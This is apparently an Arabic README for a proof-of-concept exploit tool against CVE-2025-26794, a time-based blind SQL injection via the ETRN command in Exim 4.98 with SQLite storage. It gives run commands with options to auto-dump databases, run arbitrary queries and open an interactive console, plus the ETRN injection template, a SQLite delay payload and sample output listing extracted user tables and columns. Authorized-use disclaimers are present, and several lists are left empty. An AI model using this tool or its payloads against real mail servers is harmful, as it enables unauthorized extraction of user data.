
استغلال ثغرة حقن SQL لـ CVE-2025-26794 في Exim 4.98. استخراج آلي للبيانات عبر حقن SQL أعمى قائم على الوقت. لاختبارات الاختراق المصرح بها فقط.
أداة استغلال من نوع إثبات المفهوم (PoC) لثغرة CVE-2025-26794، توضح ثغرة حقن SQL في خادم البريد Exim 4.98 عبر أمر ETRN عند استخدام تخزين SQLite DBM.
لأغراض اختبار الاختراق المصرح به فقط
تم توفير هذه الأداة لأغراض تعليمية واختبار الاختراق المصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب قوانين مختلفة تشمل:
يجب أن يكون لديك إذن كتابي صريح قبل اختبار أي نظام لا تملكه.
لا يتحمل المؤلفون والمساهمون أي مسؤولية عن إساءة الاستخدام أو الأضرار الناجمة عن هذه الأداة.
CVE-2025-26794 هي ثغرة حقن SQL في Exim 4.98 تحدث عندما:
تسمح هذه الثغرة للمهاجمين بـ:
# Clone the repository
git clone https://github.com/XploitGh0st/CVE-2025-26794-exploit.git
cd CVE-2025-26794-exploit
# Install dependencies (none required - uses standard library only)
pip install -r requirements.txt
# Make script executable (Linux/Mac)
chmod +x exploit.py
python3 exploit.py <target> [options]
python3 exploit.py 192.168.1.10 --test-only
python3 exploit.py mail.example.com --auto-dump
python3 exploit.py 10.0.0.5 --interactive
python3 exploit.py 192.168.1.10 --table users --columns
python3 exploit.py 192.168.1.10 --query "SELECT sqlite_version()"
ETRN #',1); <MALICIOUS_QUERY> /*
تستغل الحمولة عدم التنقية السليمة في معالج تسلسل ETRN، مما يسمح بحقن SQL في استعلامات SQLite.
يستخدم تأخيرًا زمنيًا خاصًا بـ SQLite:
SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
يؤدي هذا إلى إنشاء تأخير قابل للقياس (~1-2 ثانية) عندما يكون الشرط صحيحًا.
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-26794: Exim SQLi Data Extraction Tool ║
║ FOR AUTHORIZED USE ONLY ║
╚═══════════════════════════════════════════════════════════╝
[*] Testing vulnerability...
[+] Normal response time: 0.123s
[+] Delayed response time: 1.456s
[!!!] VULNERABLE - Time difference: 1.333s
[*] Extracting table names...
[*] Extracting table 1...
[+] Extracted: users
[+] Found table: users
[*] Extracting columns from table 'users'...
[+] Found column: id
[+] Found column: username
[+] Found column: email
إذا كنت تشغّل Exim 4.98 مع SQLite DBM:
يستخدم الاستغلال البحث الثنائي لاستخراج الأحرف بكفاءة:
unicode(): الحصول على قيمة ASCII للحرفsubstr(): استخراج سلسلة فرعية من النتيجةsqlite_master: جدول النظام لتعداد المخططpragma_table_info(): استخراج بيانات وصف الأعمدةالمساهمات مرحب بها في:
يرجى التأكد من أن جميع المساهمات تتضمن:
تم إصدار هذا المشروع لأغراض تعليمية فقط. استخدمه بمسؤولية وقانونية.
XploitGh0st
إذا اكتشفت ثغرات باستخدام هذه الأداة:
تذكر: القوة العظمى تأتي مع مسؤولية عظيمة. استخدم هذه الأداة بأخلاقية وقانونية.
| الخيار | الوصف |
|---|
host | اسم المضيف أو عنوان IP الهدف (مطلوب) |
-p, --port | منفذ SMTP (الافتراضي: 25) |
-t, --timeout | مهلة المقبس بالثواني (الافتراضي: 30) |
--threshold | عتبة تأخير الوقت للكشف (الافتراضي: 0.8 ثانية) |
--test-only | اختبار الثغرة فقط دون استخراج بيانات |
--auto-dump | تفريغ بنية وبيانات قاعدة البيانات تلقائيًا |
--interactive | تشغيل وحدة تحكم استعلامات SQL تفاعلية |
--table TABLE | استهداف جدول محدد للاستخراج |
--columns | استخراج أسماء الأعمدة (يُستخدم مع --table) |
--query QUERY | تنفيذ استعلام SQL مخصص |